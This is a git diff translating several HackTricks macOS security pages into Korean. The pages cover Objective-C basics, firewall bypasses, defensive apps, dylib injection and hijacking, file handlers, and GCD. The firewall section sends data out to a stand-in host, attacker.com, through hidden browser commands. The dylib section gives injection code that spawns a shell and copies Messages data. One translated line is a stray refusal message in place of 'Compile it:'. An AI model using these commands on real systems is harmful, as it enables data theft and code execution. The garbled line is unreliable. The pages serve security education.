**dot notation** or like if you were **calling a method**: - +속성을 **설정**하고 **가져오기** 위해, **점 표기법**을 사용하거나 **메서드를 호출하는 것처럼** 할 수 있습니다: ```objectivec // Set newVehicle.numberOfWheels = 2; @@ -93,24 +82,20 @@ newVehicle.numberOfWheels = 2; NSLog(@"Number of wheels: %i", newVehicle.numberOfWheels); NSLog(@"Number of wheels: %i", [newVehicle numberOfWheels]); ``` +### **인스턴스 변수** -### **Instance Variables** - -Alternatively to setter & getter methods you can use instance variables. These variables have the same name as the properties but starting with a "\_": - +setter 및 getter 메서드 대신 인스턴스 변수를 사용할 수 있습니다. 이 변수들은 속성과 동일한 이름을 가지지만 "\_"로 시작합니다: ```objectivec - (void)makeLongTruck { - _numberOfWheels = +10000; - NSLog(@"Number of wheels: %i", self.numberOfLeaves); +_numberOfWheels = +10000; +NSLog(@"Number of wheels: %i", self.numberOfLeaves); } ``` +### 프로토콜 -### Protocols - -Protocols are set of method declarations (without properties). A class that implements a protocol implement the declared methods. - -There are 2 types of methods: **mandatory** and **optional**. By **default** a method is **mandatory** (but you can also indicate it with a **`@required`** tag). To indicate that a method is optional use **`@optional`**. +프로토콜은 메서드 선언의 집합입니다(속성 없이). 프로토콜을 구현하는 클래스는 선언된 메서드를 구현합니다. +메서드는 두 가지 유형이 있습니다: **필수** 및 **선택적**. **기본적으로** 메서드는 **필수**입니다(하지만 **`@required`** 태그로도 표시할 수 있습니다). 메서드가 선택적임을 나타내려면 **`@optional`**을 사용하십시오. ```objectivec @protocol myNewProtocol - (void) method1; //mandatory @@ -120,9 +105,7 @@ There are 2 types of methods: **mandatory** and **optional**. By **default** a m - (void) method3; //optional @end ``` - -### All together - +### 모두 함께 ```objectivec // gcc -framework Foundation test_obj.m -o test_obj #import @@ -148,50 +131,44 @@ There are 2 types of methods: **mandatory** and **optional**. By **default** a m @implementation MyVehicle : NSObject - (void)startEngine { - NSLog(@"Engine started"); +NSLog(@"Engine started"); } - (void)addWheels:(int)value { - self.numberOfWheels += value; +self.numberOfWheels += value; } - (void)makeLongTruck { - _numberOfWheels = +10000; - NSLog(@"Number of wheels: %i", self.numberOfWheels); +_numberOfWheels = +10000; +NSLog(@"Number of wheels: %i", self.numberOfWheels); } @end int main() { - MyVehicle* mySuperCar = [MyVehicle new]; - [mySuperCar startEngine]; - mySuperCar.numberOfWheels = 4; - NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels); - [mySuperCar setNumberOfWheels:3]; - NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels); - [mySuperCar makeLongTruck]; +MyVehicle* mySuperCar = [MyVehicle new]; +[mySuperCar startEngine]; +mySuperCar.numberOfWheels = 4; +NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels); +[mySuperCar setNumberOfWheels:3]; +NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels); +[mySuperCar makeLongTruck]; } ``` +### 기본 클래스 -### Basic Classes - -#### String - +#### 문자열 ```objectivec // NSString NSString *bookTitle = @"The Catcher in the Rye"; NSString *bookAuthor = [[NSString alloc] initWithCString:"J.D. Salinger" encoding:NSUTF8StringEncoding]; NSString *bookPublicationYear = [NSString stringWithCString:"1951" encoding:NSUTF8StringEncoding]; ``` - -Basic classes are **immutable**, so to append a string to an existing one a **new NSString needs to be created**. - +기본 클래스는 **불변**하므로 기존 문자열에 문자열을 추가하려면 **새 NSString을 생성해야 합니다**. ```objectivec NSString *bookDescription = [NSString stringWithFormat:@"%@ by %@ was published in %@", bookTitle, bookAuthor, bookPublicationYear]; ``` - -Or you could also use a **mutable** string class: - +또는 **mutable** 문자열 클래스를 사용할 수도 있습니다: ```objectivec NSMutableString *mutableString = [NSMutableString stringWithString:@"The book "]; [mutableString appendString:bookTitle]; @@ -200,9 +177,7 @@ NSMutableString *mutableString = [NSMutableString stringWithString:@"The book "] [mutableString appendString:@" and published in "]; [mutableString appendString:bookPublicationYear]; ``` - -#### Number - +#### 번호 ```objectivec // character literals. NSNumber *theLetterZ = @'Z'; // equivalent to [NSNumber numberWithChar:'Z'] @@ -221,9 +196,7 @@ NSNumber *piDouble = @3.1415926535; // equivalent to [NSNumber numberWithDouble: NSNumber *yesNumber = @YES; // equivalent to [NSNumber numberWithBool:YES] NSNumber *noNumber = @NO; // equivalent to [NSNumber numberWithBool:NO] ``` - -#### Array, Sets & Dictionary - +#### 배열, 집합 및 사전 ```objectivec // Inmutable arrays NSArray *colorsArray1 = [NSArray arrayWithObjects:@"red", @"green", @"blue", nil]; @@ -250,18 +223,18 @@ NSMutableSet *mutFruitsSet = [NSMutableSet setWithObjects:@"apple", @"banana", @ // Dictionary NSDictionary *fruitColorsDictionary = @{ - @"apple" : @"red", - @"banana" : @"yellow", - @"orange" : @"orange", - @"grape" : @"purple" +@"apple" : @"red", +@"banana" : @"yellow", +@"orange" : @"orange", +@"grape" : @"purple" }; // In dictionaryWithObjectsAndKeys you specify the value and then the key: NSDictionary *fruitColorsDictionary2 = [NSDictionary dictionaryWithObjectsAndKeys: - @"red", @"apple", - @"yellow", @"banana", - @"orange", @"orange", - @"purple", @"grape", +@"red", @"apple", +@"yellow", @"banana", +@"orange", @"orange", +@"purple", @"grape", nil]; // Mutable dictionary @@ -269,80 +242,71 @@ NSMutableDictionary *mutFruitColorsDictionary = [NSMutableDictionary dictionaryW [mutFruitColorsDictionary setObject:@"green" forKey:@"apple"]; [mutFruitColorsDictionary removeObjectForKey:@"grape"]; ``` +### 블록 -### Blocks - -Blocks are **functions that behaves as objects** so they can be passed to functions or **stored** in **arrays** or **dictionaries**. Also, they can **represent a value if they are given values** so it's similar to lambdas. - +블록은 **객체처럼 동작하는 함수**로, 함수에 전달되거나 **배열**이나 **사전**에 **저장**될 수 있습니다. 또한, 값이 주어지면 **값을 나타낼 수** 있어 람다와 유사합니다. ```objectivec returnType (^blockName)(argumentType1, argumentType2, ...) = ^(argumentType1 param1, argumentType2 param2, ...){ - //Perform operations here +//Perform operations here }; // For example int (^suma)(int, int) = ^(int a, int b){ - return a+b; +return a+b; }; NSLog(@"3+4 = %d", suma(3,4)); ``` - -It's also possible to **define a block type to be used as a parameter** in functions: - +함수에서 **매개변수로 사용될 블록 유형을 정의하는** 것도 가능합니다: ```objectivec // Define the block type typedef void (^callbackLogger)(void); // Create a bloack with the block type callbackLogger myLogger = ^{ - NSLog(@"%@", @"This is my block"); +NSLog(@"%@", @"This is my block"); }; // Use it inside a function as a param void genericLogger(callbackLogger blockParam) { - NSLog(@"%@", @"This is my function"); - blockParam(); +NSLog(@"%@", @"This is my function"); +blockParam(); } genericLogger(myLogger); // Call it inline genericLogger(^{ - NSLog(@"%@", @"This is my second block"); +NSLog(@"%@", @"This is my second block"); }); ``` - -### Files - +### 파일 ```objectivec // Manager to manage files NSFileManager *fileManager = [NSFileManager defaultManager]; // Check if file exists: if ([fileManager fileExistsAtPath:@"/path/to/file.txt" ] == YES) { - NSLog (@"File exists"); +NSLog (@"File exists"); } // copy files if ([fileManager copyItemAtPath: @"/path/to/file1.txt" toPath: @"/path/to/file2.txt" error:nil] == YES) { - NSLog (@"Copy successful"); +NSLog (@"Copy successful"); } // Check if the content of 2 files match if ([fileManager contentsEqualAtPath:@"/path/to/file1.txt" andPath:@"/path/to/file2.txt"] == YES) { - NSLog (@"File contents match"); +NSLog (@"File contents match"); } // Delete file if ([fileManager removeItemAtPath:@"/path/to/file1.txt" error:nil]) { - NSLog(@"Removed successfully"); +NSLog(@"Removed successfully"); } ``` - -It's also possible to manage files **using `NSURL` objects instead of `NSString`** objects. The method names are similar, but **with `URL` instead of `Path`**. - +파일을 **`NSString`** 객체 대신 **`NSURL`** 객체를 사용하여 관리하는 것도 가능합니다. 메서드 이름은 비슷하지만 **`Path`** 대신 **`URL`**을 사용합니다. ```objectivec ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md index 7d376dfe5..0b7751cfd 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md @@ -1,85 +1,75 @@ -# macOS Bypassing Firewalls +# macOS 방화벽 우회 {{#include ../../banners/hacktricks-training.md}} -## Found techniques +## 발견된 기술 -The following techniques were found working in some macOS firewall apps. +다음 기술들은 일부 macOS 방화벽 앱에서 작동하는 것으로 확인되었습니다. -### Abusing whitelist names +### 화이트리스트 이름 악용 -- For example calling the malware with names of well known macOS processes like **`launchd`** +- 예를 들어, **`launchd`**와 같은 잘 알려진 macOS 프로세스의 이름으로 악성 코드를 호출하기 -### Synthetic Click +### 합성 클릭 -- If the firewall ask for permission to the user make the malware **click on allow** +- 방화벽이 사용자에게 권한을 요청할 경우, 악성 코드가 **허용 클릭**을 하도록 만들기 -### **Use Apple signed binaries** +### **Apple 서명 이진 파일 사용** -- Like **`curl`**, but also others like **`whois`** +- **`curl`**과 같은 것들, 하지만 **`whois`**와 같은 다른 것들도 포함 -### Well known apple domains +### 잘 알려진 애플 도메인 -The firewall could be allowing connections to well known apple domains such as **`apple.com`** or **`icloud.com`**. And iCloud could be used as a C2. +방화벽이 **`apple.com`** 또는 **`icloud.com`**과 같은 잘 알려진 애플 도메인에 대한 연결을 허용할 수 있습니다. 그리고 iCloud는 C2로 사용될 수 있습니다. -### Generic Bypass +### 일반적인 우회 -Some ideas to try to bypass firewalls +방화벽을 우회하기 위해 시도할 수 있는 몇 가지 아이디어 -### Check allowed traffic - -Knowing the allowed traffic will help you identify potentially whitelisted domains or which applications are allowed to access them +### 허용된 트래픽 확인 +허용된 트래픽을 아는 것은 잠재적으로 화이트리스트에 있는 도메인이나 어떤 애플리케이션이 그것에 접근할 수 있는지를 식별하는 데 도움이 됩니다. ```bash lsof -i TCP -sTCP:ESTABLISHED ``` +### DNS 악용 -### Abusing DNS - -DNS resolutions are done via **`mdnsreponder`** signed application which will probably vi allowed to contact DNS servers. +DNS 해석은 **`mdnsreponder`** 서명된 애플리케이션을 통해 이루어지며, 이는 아마도 DNS 서버에 연락할 수 있도록 허용될 것입니다.
https://www.youtube.com/watch?v=UlT5KFTMn2k
-### Via Browser apps +### 브라우저 앱을 통한 방법 - **oascript** - ```applescript tell application "Safari" - run - tell application "Finder" to set visible of process "Safari" to false - make new document - set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil +run +tell application "Finder" to set visible of process "Safari" to false +make new document +set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil end tell ``` - -- Google Chrome - +- 구글 크롬 ```bash "Google Chrome" --crash-dumps-dir=/tmp --headless "https://attacker.com?data=data%20to%20exfil" ``` - -- Firefox - +- 파이어폭스 ```bash firefox-bin --headless "https://attacker.com?data=data%20to%20exfil" ``` - -- Safari - +- 사파리 ```bash open -j -a Safari "https://attacker.com?data=data%20to%20exfil" ``` +### 프로세스 주입을 통한 방법 -### Via processes injections - -If you can **inject code into a process** that is allowed to connect to any server you could bypass the firewall protections: +서버에 연결할 수 있는 프로세스에 **코드를 주입**할 수 있다면 방화벽 보호를 우회할 수 있습니다: {{#ref}} macos-proces-abuse/ {{#endref}} -## References +## 참고자료 - [https://www.youtube.com/watch?v=UlT5KFTMn2k](https://www.youtube.com/watch?v=UlT5KFTMn2k) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md index a41d941e4..b743b3842 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md @@ -4,16 +4,16 @@ ## Firewalls -- [**Little Snitch**](https://www.obdev.at/products/littlesnitch/index.html): It will monitor every connection made by each process. Depending on the mode (silent allow connections, silent deny connection and alert) it will **show you an alert** every time a new connection is stablished. It also has a very nice GUI to see all this information. -- [**LuLu**](https://objective-see.org/products/lulu.html): Objective-See firewall. This is a basic firewall that will alert you for suspicious connections (it has a GUI but it isn't as fancy as the one of Little Snitch). +- [**Little Snitch**](https://www.obdev.at/products/littlesnitch/index.html): 각 프로세스가 생성하는 모든 연결을 모니터링합니다. 모드에 따라 (조용히 연결 허용, 조용히 연결 거부 및 경고) 새로운 연결이 설정될 때마다 **경고를 표시**합니다. 이 모든 정보를 볼 수 있는 매우 멋진 GUI도 있습니다. +- [**LuLu**](https://objective-see.org/products/lulu.html): Objective-See 방화벽. 의심스러운 연결에 대해 경고하는 기본 방화벽입니다 (GUI가 있지만 Little Snitch의 것만큼 화려하지는 않습니다). ## Persistence detection -- [**KnockKnock**](https://objective-see.org/products/knockknock.html): Objective-See application that will search in several locations where **malware could be persisting** (it's a one-shot tool, not a monitoring service). -- [**BlockBlock**](https://objective-see.org/products/blockblock.html): Like KnockKnock by monitoring processes that generate persistence. +- [**KnockKnock**](https://objective-see.org/products/knockknock.html): **악성코드가 지속될 수 있는** 여러 위치를 검색하는 Objective-See 애플리케이션입니다 (일회성 도구로, 모니터링 서비스가 아닙니다). +- [**BlockBlock**](https://objective-see.org/products/blockblock.html): KnockKnock처럼 지속성을 생성하는 프로세스를 모니터링합니다. ## Keyloggers detection -- [**ReiKey**](https://objective-see.org/products/reikey.html): Objective-See application to find **keyloggers** that install keyboard "event taps" +- [**ReiKey**](https://objective-see.org/products/reikey.html): 키보드 "이벤트 탭"을 설치하는 **키로거**를 찾기 위한 Objective-See 애플리케이션입니다. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md index a1a52c47b..1b0e78e3f 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md @@ -2,10 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -## DYLD_INSERT_LIBRARIES Basic example - -**Library to inject** to execute a shell: +## DYLD_INSERT_LIBRARIES 기본 예제 +**주입할 라이브러리** 쉘을 실행하기 위해: ```c // gcc -dynamiclib -o inject.dylib inject.c @@ -17,35 +16,30 @@ __attribute__((constructor)) void myconstructor(int argc, const char **argv) { - syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]); - printf("[+] dylib injected in %s\n", argv[0]); - execv("/bin/bash", 0); - //system("cp -r ~/Library/Messages/ /tmp/Messages/"); +syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]); +printf("[+] dylib injected in %s\n", argv[0]); +execv("/bin/bash", 0); +//system("cp -r ~/Library/Messages/ /tmp/Messages/"); } ``` - -Binary to attack: - +공격할 바이너리: ```c // gcc hello.c -o hello #include int main() { - printf("Hello, World!\n"); - return 0; +printf("Hello, World!\n"); +return 0; } ``` - -Injection: - +주입: ```bash DYLD_INSERT_LIBRARIES=inject.dylib ./hello ``` - ## Dyld Hijacking Example -The targeted vulnerable binary is `/Applications/VulnDyld.app/Contents/Resources/lib/binary`. +타겟 취약 바이너리는 `/Applications/VulnDyld.app/Contents/Resources/lib/binary`입니다. {{#tabs}} {{#tab name="entitlements"}} @@ -57,43 +51,38 @@ The targeted vulnerable binary is `/Applications/VulnDyld.app/Contents/Resources {{#endtab}} {{#tab name="LC_RPATH"}} - ```bash # Check where are the @rpath locations otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2 - cmd LC_RPATH - cmdsize 32 - path @loader_path/. (offset 12) +cmd LC_RPATH +cmdsize 32 +path @loader_path/. (offset 12) -- - cmd LC_RPATH - cmdsize 32 - path @loader_path/../lib2 (offset 12) +cmd LC_RPATH +cmdsize 32 +path @loader_path/../lib2 (offset 12) ``` - {{#endtab}} {{#tab name="@rpath"}} - ```bash # Check librareis loaded using @rapth and the used versions otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3 - name @rpath/lib.dylib (offset 24) - time stamp 2 Thu Jan 1 01:00:02 1970 - current version 1.0.0 +name @rpath/lib.dylib (offset 24) +time stamp 2 Thu Jan 1 01:00:02 1970 +current version 1.0.0 compatibility version 1.0.0 # Check the versions ``` - {{#endtab}} {{#endtabs}} -With the previous info we know that it's **not checking the signature of the loaded libraries** and it's **trying to load a library from**: +이전 정보를 통해 우리는 **로드된 라이브러리의 서명을 확인하지 않고** 있으며 **다음에서 라이브러리를 로드하려고 시도하고 있다는 것을 알 수 있습니다**: - `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib` - `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib` -However, the first one doesn't exist: - +하지만 첫 번째는 존재하지 않습니다: ```bash pwd /Applications/VulnDyld.app @@ -101,51 +90,42 @@ pwd find ./ -name lib.dylib ./Contents/Resources/lib2/lib.dylib ``` - -So, it's possible to hijack it! Create a library that **executes some arbitrary code and exports the same functionalities** as the legit library by reexporting it. And remember to compile it with the expected versions: - +그래서, 그것을 하이재킹하는 것이 가능합니다! **임의의 코드를 실행하고 정품 라이브러리와 동일한 기능을 재수출하는** 라이브러리를 만드세요. 그리고 예상되는 버전으로 컴파일하는 것을 잊지 마세요: ```objectivec:lib.m #import __attribute__((constructor)) void custom(int argc, const char **argv) { - NSLog(@"[+] dylib hijacked in %s", argv[0]); +NSLog(@"[+] dylib hijacked in %s", argv[0]); } ``` - -Compile it: - +죄송하지만, 요청하신 내용을 처리할 수 없습니다. ```bash gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib" # Note the versions and the reexport ``` - -The reexport path created in the library is relative to the loader, lets change it for an absolute path to the library to export: - +라이브러리에서 생성된 재수출 경로는 로더에 상대적입니다. 이를 라이브러리를 내보내기 위한 절대 경로로 변경합시다: ```bash #Check relative otool -l /tmp/lib.dylib| grep REEXPORT -A 2 - cmd LC_REEXPORT_DYLIB - cmdsize 48 - name @rpath/libjli.dylib (offset 24) +cmd LC_REEXPORT_DYLIB +cmdsize 48 +name @rpath/libjli.dylib (offset 24) #Change the location of the library absolute to absolute path install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib # Check again otool -l /tmp/lib.dylib| grep REEXPORT -A 2 - cmd LC_REEXPORT_DYLIB - cmdsize 128 - name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24) +cmd LC_REEXPORT_DYLIB +cmdsize 128 +name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24) ``` - -Finally just copy it to the **hijacked location**: - +마지막으로 **탈취된 위치**에 복사합니다: ```bash cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib" ``` - -And **execute** the binary and check the **library was loaded**: +이진 파일을 **실행**하고 **라이브러리가 로드되었는지** 확인합니다:
"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
 2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
@@ -153,14 +133,12 @@ And **execute** the binary and check the **library was loaded**:
 
> [!NOTE] -> A nice writeup about how to abuse this vulnerability to abuse the camera permissions of telegram can be found in [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/) +> 이 취약점을 악용하여 텔레그램의 카메라 권한을 악용하는 방법에 대한 좋은 글은 [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)에서 찾을 수 있습니다. -## Bigger Scale - -If you are planing on trying to inject libraries in unexpected binaries you could check the event messages to find out when the library is loaded inside a process (in this case remove the printf and the `/bin/bash` execution). +## 더 큰 규모 +예상치 못한 이진 파일에 라이브러리를 주입하려는 경우, 이벤트 메시지를 확인하여 프로세스 내에서 라이브러리가 로드되는 시점을 파악할 수 있습니다(이 경우 printf와 `/bin/bash` 실행을 제거하십시오). ```bash sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"' ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md index 6ff21c8e4..833832cdf 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md @@ -1,72 +1,64 @@ -# macOS File Extension & URL scheme app handlers +# macOS 파일 확장자 및 URL 스킴 앱 핸들러 {{#include ../../banners/hacktricks-training.md}} -## LaunchServices Database +## LaunchServices 데이터베이스 -This is a database of all the installed applications in the macOS that can be queried to get information about each installed application such as URL schemes it support and MIME types. - -It's possible to dump this datase with: +이것은 macOS에 설치된 모든 애플리케이션의 데이터베이스로, 지원하는 URL 스킴 및 MIME 타입과 같은 각 설치된 애플리케이션에 대한 정보를 얻기 위해 쿼리할 수 있습니다. +이 데이터베이스를 덤프하는 것은 가능합니다: ``` /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -dump ``` - Or using the tool [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html). -**`/usr/libexec/lsd`** is the brain of the database. It provides **several XPC services** like `.lsd.installation`, `.lsd.open`, `.lsd.openurl`, and more. But it also **requires some entitlements** to applications to be able to use the exposed XPC functionalities, like `.launchservices.changedefaulthandler` or `.launchservices.changeurlschemehandler` to change default apps for mime types or url schemes and others. +**`/usr/libexec/lsd`**는 데이터베이스의 두뇌입니다. **여러 XPC 서비스**를 제공합니다. 예를 들어 `.lsd.installation`, `.lsd.open`, `.lsd.openurl` 등이 있습니다. 그러나 노출된 XPC 기능을 사용하기 위해서는 애플리케이션에 **일부 권한**이 필요합니다. 예를 들어 mime 유형이나 URL 스킴에 대한 기본 앱을 변경하기 위한 `.launchservices.changedefaulthandler` 또는 `.launchservices.changeurlschemehandler`와 같은 권한이 필요합니다. -**`/System/Library/CoreServices/launchservicesd`** claims the service `com.apple.coreservices.launchservicesd` and can be queried to get information about running applications. It can be queried with the system tool /**`usr/bin/lsappinfo`** or with [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html). +**`/System/Library/CoreServices/launchservicesd`**는 서비스 `com.apple.coreservices.launchservicesd`를 주장하며 실행 중인 애플리케이션에 대한 정보를 얻기 위해 쿼리할 수 있습니다. 시스템 도구 /**`usr/bin/lsappinfo`** 또는 [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html)로 쿼리할 수 있습니다. -## File Extension & URL scheme app handlers - -The following line can be useful to find the applications that can open files depending on the extension: +## 파일 확장자 및 URL 스킴 앱 핸들러 +다음 줄은 확장자에 따라 파일을 열 수 있는 애플리케이션을 찾는 데 유용할 수 있습니다: ```bash /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -dump | grep -E "path:|bindings:|name:" ``` - -Or use something like [**SwiftDefaultApps**](https://github.com/Lord-Kamina/SwiftDefaultApps): - +또는 [**SwiftDefaultApps**](https://github.com/Lord-Kamina/SwiftDefaultApps)와 같은 것을 사용하세요: ```bash ./swda getSchemes #Get all the available schemes ./swda getApps #Get all the apps declared ./swda getUTIs #Get all the UTIs ./swda getHandler --URL ftp #Get ftp handler ``` - -You can also check the extensions supported by an application doing: - +응용 프로그램이 지원하는 확장자를 확인하려면 다음을 수행할 수 있습니다: ``` cd /Applications/Safari.app/Contents grep -A3 CFBundleTypeExtensions Info.plist | grep string - css - pdf - webarchive - webbookmark - webhistory - webloc - download - safariextz - gif - html - htm - js - jpg - jpeg - jp2 - txt - text - png - tiff - tif - url - ico - xhtml - xht - xml - xbl - svg +css +pdf +webarchive +webbookmark +webhistory +webloc +download +safariextz +gif +html +htm +js +jpg +jpeg +jp2 +txt +text +png +tiff +tif +url +ico +xhtml +xht +xml +xbl +svg ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md index 7f66f04fa..952138782 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md @@ -4,180 +4,173 @@ ## Basic Information -**Grand Central Dispatch (GCD),** also known as **libdispatch** (`libdispatch.dyld`), is available in both macOS and iOS. It's a technology developed by Apple to optimize application support for concurrent (multithreaded) execution on multicore hardware. +**Grand Central Dispatch (GCD)**, 또한 **libdispatch** (`libdispatch.dyld`)로 알려져 있으며, macOS와 iOS 모두에서 사용할 수 있습니다. 이는 Apple이 다중 코어 하드웨어에서 동시(멀티스레드) 실행을 최적화하기 위해 개발한 기술입니다. -**GCD** provides and manages **FIFO queues** to which your application can **submit tasks** in the form of **block objects**. Blocks submitted to dispatch queues are **executed on a pool of threads** fully managed by the system. GCD automatically creates threads for executing the tasks in the dispatch queues and schedules those tasks to run on the available cores. +**GCD**는 애플리케이션이 **블록 객체** 형태로 **작업을 제출**할 수 있는 **FIFO 큐**를 제공하고 관리합니다. 디스패치 큐에 제출된 블록은 시스템에 의해 완전히 관리되는 **스레드 풀**에서 **실행됩니다**. GCD는 디스패치 큐에서 작업을 실행하기 위해 스레드를 자동으로 생성하고, 사용 가능한 코어에서 실행할 작업을 예약합니다. > [!TIP] -> In summary, to execute code in **parallel**, processes can send **blocks of code to GCD**, which will take care of their execution. Therefore, processes don't create new threads; **GCD executes the given code with its own pool of threads** (which might increase or decrease as necessary). +> 요약하자면, **병렬**로 코드를 실행하기 위해 프로세스는 **GCD에 코드 블록을 전송**할 수 있으며, GCD가 실행을 처리합니다. 따라서 프로세스는 새로운 스레드를 생성하지 않으며, **GCD는 자체 스레드 풀을 사용하여 주어진 코드를 실행합니다**(필요에 따라 증가하거나 감소할 수 있습니다). -This is very helpful to manage parallel execution successfully, greatly reducing the number of threads processes create and optimising the parallel execution. This is ideal for tasks that require **great parallelism** (brute-forcing?) or for tasks that shouldn't block the main thread: For example, the main thread on iOS handles UI interactions, so any other functionality that could make the app hang (searching, accessing a web, reading a file...) is managed this way. +이는 병렬 실행을 성공적으로 관리하는 데 매우 유용하며, 프로세스가 생성하는 스레드 수를 크게 줄이고 병렬 실행을 최적화합니다. 이는 **큰 병렬성**(무차별 대입?)이 필요한 작업이나 메인 스레드를 차단해서는 안 되는 작업에 이상적입니다: 예를 들어, iOS의 메인 스레드는 UI 상호작용을 처리하므로, 앱이 멈추게 할 수 있는 다른 기능(검색, 웹 접근, 파일 읽기 등)은 이 방식으로 관리됩니다. ### Blocks -A block is a **self contained section of code** (like a function with arguments returning a value) and can also specify bound variables.\ -However, at compiler level blocks doesn't exist, they are `os_object`s. Each of these objects is formed by two structures: +블록은 **자체 포함된 코드 섹션**(값을 반환하는 인수가 있는 함수와 유사)이며, 바인드 변수를 지정할 수도 있습니다.\ +그러나 컴파일러 수준에서 블록은 존재하지 않으며, `os_object`입니다. 이러한 각 객체는 두 개의 구조체로 구성됩니다: -- **block literal**: - - It starts by the **`isa`** field, pointing to the block's class: - - `NSConcreteGlobalBlock` (blocks from `__DATA.__const`) - - `NSConcreteMallocBlock` (blocks in the heap) - - `NSConcreateStackBlock` (blocks in stack) - - It has **`flags`** (indicating fields present in the block descriptor) and some reserved bytes - - The function pointer to call - - A pointer to the block descriptor - - Block imported variables (if any) -- **block descriptor**: It's size depends on the data that is present (as indicated in the previous flags) - - It has some reserved bytes - - The size of it - - It'll usually have a pointer to an Objective-C style signature to know how much space is needed for the params (flag `BLOCK_HAS_SIGNATURE`) - - If variables are referenced, this block will also have pointers to a copy helper (copying the value at the begining) and dispose helper (freeing it). +- **블록 리터럴**: +- 블록의 클래스에 포인팅하는 **`isa`** 필드로 시작합니다: +- `NSConcreteGlobalBlock` ( `__DATA.__const`의 블록) +- `NSConcreteMallocBlock` (힙의 블록) +- `NSConcreateStackBlock` (스택의 블록) +- **`flags`** (블록 설명자에 존재하는 필드를 나타냄) 및 일부 예약된 바이트가 있습니다. +- 호출할 함수 포인터 +- 블록 설명자에 대한 포인터 +- 가져온 블록 변수(있는 경우) +- **블록 설명자**: 크기는 존재하는 데이터에 따라 다릅니다(이전 플래그에서 나타낸 대로). +- 일부 예약된 바이트가 있습니다. +- 크기 +- 일반적으로 매개변수에 필요한 공간을 알기 위해 Objective-C 스타일 서명에 대한 포인터를 가집니다(플래그 `BLOCK_HAS_SIGNATURE`). +- 변수가 참조되는 경우, 이 블록은 복사 도우미(시작 시 값을 복사) 및 해제 도우미(해제)를 가리키는 포인터도 가집니다. ### Queues -A dispatch queue is a named object providing FIFO ordering of blocks for executions. +디스패치 큐는 실행을 위한 블록의 FIFO 순서를 제공하는 명명된 객체입니다. -Blocks a set in queues to be executed, and these support 2 modes: `DISPATCH_QUEUE_SERIAL` and `DISPATCH_QUEUE_CONCURRENT`. Of course the **serial** one **won't have race condition** problems as a block won't be executed until the previous one has finished. But **the other type of queue might have it**. +블록은 실행을 위해 큐에 설정되며, 이들은 